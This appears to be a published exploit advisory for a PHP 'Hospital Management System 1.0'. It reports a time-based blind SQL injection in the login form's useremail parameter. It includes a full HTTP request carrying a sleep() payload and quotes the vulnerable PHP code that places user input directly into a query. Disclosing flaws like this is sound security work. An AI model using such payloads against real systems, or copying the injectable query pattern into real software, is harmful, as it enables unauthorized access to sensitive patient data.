Authored by SoSPiro

Hospital Management System version 1.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: Hospital Management System - SQL Injection
# Google Dork: N/A
# Application: Hospital Management System
# Date: 26.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver
# CVE : N/A

## Vulnerability Description:

A security vulnerability has been identified in this web application due to the direct inclusion of user-input data into SQL queries, rendering it susceptible to SQL Injection attacks. This vulnerability may enable malicious actors to gain unauthorized access to sensitive information.

## Proof of Concept (PoC):

Below is an example of an attack that a malicious actor could execute to exploit this vulnerability.

POST /Vaidya%20Mitra/vm/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://localhost
Connection: close
Referer: http://localhost/Vaidya%20Mitra/vm/login.php
Cookie: _ga=GA1.1.2080672900.1708952048; _gid=GA1.1.1833914840.1708952048; PHPSESSID=18a16tga7k2glh7

[email protected]'%2b(select*from(select(sleep(5)))a)%2b'&userpassword=test

In this example, the payload appended to the useremail parameter aims to execute a sleep function, intentionally delaying the server's response time. Real-world attacks could involve more malicious operations.

Request - Response foto:

## Vulnerable code section:

$email = $_POST['useremail'];
$password = $_POST['userpassword'];

$result = $database->query("select * from webuser where email='$email'");